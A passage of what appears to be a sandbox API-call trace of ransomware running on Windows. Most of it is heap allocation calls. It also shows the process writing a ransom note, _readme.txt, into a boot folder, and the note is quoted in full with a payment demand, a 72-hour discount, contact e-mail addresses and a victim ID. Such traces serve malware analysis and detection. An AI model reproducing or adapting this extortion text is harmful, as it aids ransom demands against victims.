0x3247f78 [0066.409] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.409] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.409] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.409] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.409] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.409] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.409] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.409] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.409] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.409] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.409] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.409] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.409] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.409] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.409] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.409] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.409] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.409] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.409] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.409] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.410] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.410] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.410] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.410] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.410] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.410] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.410] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.410] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.410] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.410] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.410] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.410] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.410] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.410] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.410] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.410] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.410] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.410] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.410] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.410] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.410] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.410] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.410] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.410] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.410] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.410] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.410] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.410] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.410] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.410] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.410] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.410] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.410] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.410] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.411] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.411] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.411] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.411] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.411] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.411] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.411] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.411] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.411] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.411] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.411] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.411] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.411] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.411] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.411] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.411] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.411] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.411] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.411] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.411] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.411] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.411] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.411] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.411] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.411] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.411] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.411] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.411] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.411] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.411] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.411] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.411] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.411] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.411] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.411] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.412] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.412] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.412] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.412] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.412] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.412] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.412] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.412] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.412] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.412] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.412] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.412] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.412] PathFindFileNameW (pszPath="C:\\Boot\\es-ES\\") returned="es-ES\\" [0066.412] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0066.412] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.412] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.412] PathFindFileNameW (pszPath="") returned="" [0066.412] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0066.412] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0066.412] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3178dd8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0066.413] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0066.413] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.413] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.413] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.413] PathAppendW (in: pszPath="C:\\Boot\\es-ES\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\es-ES\\_readme.txt") returned 1 [0066.413] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.413] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.413] PathFileExistsW (pszPath="C:\\Boot\\es-ES\\_readme.txt") returned 0 [0066.414] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x7d00) returned 0x32b2f40 [0066.414] lstrcpyW (in: lpString1=0x32b2f40, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg" [0066.414] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg", lpString2="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb" [0066.414] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3248800 [0066.414] CreateFileW (lpFileName="C:\\Boot\\es-ES\\_readme.txt" (normalized: "c:\\boot\\es-es\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0066.414] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8c0) returned 0x3178dd8 [0066.414] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x85c) returned 0x329cf20 [0066.414] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x329cf20, cbMultiByte=2140, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 1117 [0066.414] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3177118 [0066.414] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x329cf20 | out: hHeap=0x5d0000) returned 1 [0066.414] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.414] lstrlenA (lpString="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb") returned 1116 [0066.414] WriteFile (in: hFile=0x5c4, lpBuffer=0x3177118*, nNumberOfBytesToWrite=0x45c, lpNumberOfBytesWritten=0x38cfb64, lpOverlapped=0x0 | out: lpBuffer=0x3177118*, lpNumberOfBytesWritten=0x38cfb64*=0x45c, lpOverlapped=0x0) returned 1 [0066.415] CloseHandle (hObject=0x5c4) returned 1 [0066.415] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.415] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3248800 | out: hHeap=0x5d0000) returned 1 [0066.415] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0066.416] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.416] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.416] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb31d9ed0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb31d9ed0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.416] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.416] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb31d9ed0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb31d9ed0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.416] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0066.416] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb31d9ed0, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb31d9ed0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb31d9ed0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0066.416] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb31d9ed0, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb31d9ed0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb31d9ed0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0066.416] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.416] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.416] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32602f8 | out: hHeap=0x5d0000) returned 1 [0066.416] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x32602f8 [0066.416] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.416] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.416] RtlAllocateHeap 